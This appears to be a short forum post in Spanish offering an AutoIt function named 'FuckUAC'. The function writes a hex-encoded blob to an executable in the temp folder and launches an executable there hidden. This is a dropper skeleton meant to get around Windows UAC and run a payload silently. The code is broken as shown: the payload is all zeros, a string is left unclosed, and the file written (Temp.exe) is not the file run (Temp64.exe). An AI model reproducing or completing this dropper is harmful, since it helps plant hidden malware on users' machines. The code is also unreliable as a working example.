El codigo seria algo así.
Func FuckUAC()
Local $FuckUAC64 = '0x0000000000000000000000000000000000000000
$File = FileOpen(@TempDir & "\Temp.exe", 2)
FileWrite($File, $FuckUAC64)
FileClose($File)
Run(@TempDir & "\Temp64.exe", NULL, @SW_HIDE)
EndFunc
//Regards.